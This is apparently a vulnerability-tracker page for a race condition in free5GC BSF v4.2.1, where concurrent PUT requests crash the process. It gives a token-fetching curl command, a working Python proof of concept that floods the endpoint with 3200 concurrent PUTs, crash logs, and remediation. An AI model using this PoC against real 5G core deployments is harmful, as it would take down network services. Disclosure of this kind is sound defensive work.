Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Network-accessible HTTP endpoint with low race-trigger complexity but mandatory OAuth2 token (PR:L); crash yields no data exposure and no persistent state change, so C:N/I:N/A:H.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.
This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.
Details
Validated against the BSF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/bsf:v4.2.1 - Docker validation date: 2026-03-22
- BSF endpoint:
http://10.100.200.11:8000
Read side (locked):
func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
sub, exists := c.Subscriptions[subId]
return sub, exists
}Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):
subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscriptionUnder concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.
Code evidence (paths in free5gc/bsf):
- Read side (locked):
NFs/bsf/internal/sbi/processor/subscriptions.go:81NFs/bsf/internal/context/context.go:726NFs/bsf/internal/context/context.go:730- Unsafe write side (the create-if-absent branch in PUT, no lock):
NFs/bsf/internal/sbi/processor/subscriptions.go:111NFs/bsf/internal/sbi/processor/subscriptions.go:114
The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.
PoC
Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.
- Obtain a valid
nbsf-managementtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'- Send concurrent PUT requests against fresh
subIdvalues (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
import json, threading, urllib.request
TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
"events": ["PCF_BINDING_CREATION"],
"notifUri": "http://127.0.0.1/cb",
"notifCorreId": "1",
"supi": "imsi-208930000000003",
}).encode()
def send_put(i, n):
url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
req.add_header("Authorization", f"Bearer {TOKEN}")
req.add_header("Content-Type", "application/json")
urllib.request.urlopen(req, timeout=2).read()
threads = []
for i in range(64):
for n in range(50):
threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()- BSF container logs (
docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f- Container state confirms exit code 2:
exited|2|0Impact
Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.
Any party that holds (or can obtain) a valid nbsf-management token can:
- Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh
subIdvalues, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage.
No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
AnalysisAI
Concurrent PUT requests to free5GC BSF v4.2.1 deterministically crash the Binding Support Function process via an unsynchronized Go map write, collapsing the entire nbsf-management SBI surface until manual restart. The ReplaceIndividualSubcription() handler reads BsfSelf.Subscriptions under RLock() but writes to the same map without acquiring the write mutex in its create-if-absent branch, causing the Go runtime to emit a non-recoverable fatal error: concurrent map read and map write that bypasses Gin's recovery middleware and terminates the process with exit code 2. Publicly available exploit code exists and was validated by the researcher against the official Docker compose lab; the attack is repeatable across restarts, enabling sustained outage for authenticated token holders. EPSS is low (0.04%, 11th percentile), consistent with the OAuth2 token prerequisite limiting opportunistic exploitation.
Technical ContextAI
The Binding Support Function (BSF) is a 5G core network element defined by 3GPP, responsible for maintaining PCF binding records used by SMF and AF for policy control. The affected implementation is the free5GC open-source 5G core stack, Go package github.com/free5gc/bsf (CPE: pkg:go/github.com_free5gc_bsf), version 4.2.1. The BSF exposes an HTTP-based SBI called nbsf-management (N36 reference point) secured by OAuth2 tokens issued by the NRF. The root cause is CWE-362 (Concurrent Execution Using Shared Resource with Improper Synchronization) compounded by CWE-820 (Missing Synchronization): the ReplaceIndividualSubcription() handler at subscriptions.go:111-114 performs a direct map assignment (bsfContext.BsfSelf.Subscriptions[subId] = subscription) without holding the write mutex, while concurrent goroutines hold a read lock via GetSubscription() at subscriptions.go:81. Go maps are explicitly not goroutine-safe; the runtime detects the concurrent read/write and raises a fatal that is architecturally unrecoverable - it is not a panic and cannot be caught by recover(), meaning Gin's built-in recovery middleware provides no protection. All other CRUD helpers (CreateSubscription, UpdateSubscription, DeleteSubscription) correctly acquire the mutex; the bug is isolated to the inline create-if-absent branch of the PUT handler.
RemediationAI
Upgrade to free5GC v4.2.2 or later, which incorporates the fix from commit 277908565fd628d974a13ef562b81a8b7b519ffa (https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa), merged via PR #7 (https://github.com/free5gc/bsf/pull/7). For Go module consumers, upgrade github.com/free5gc/bsf to version 1.0.2 or later. The fix eliminates the unsafe code path entirely by removing the create-if-absent branch: the handler now returns HTTP 404 when the subscription does not exist, routing all writes through the pre-existing mutex-guarded UpdateSubscription() helper. If immediate patching is not feasible, restrict network access to the BSF SBI port (default 8000) at the infrastructure layer so that only trusted 5GC NFs can reach the endpoint; this raises the barrier for token acquisition but does not eliminate the vulnerability for parties already holding a valid nbsf-management token. No configuration-only workaround fully closes the race - the sole complete mitigation is the code fix.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-362 – Race Condition
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32567
GHSA-27ph-8q4f-h7m7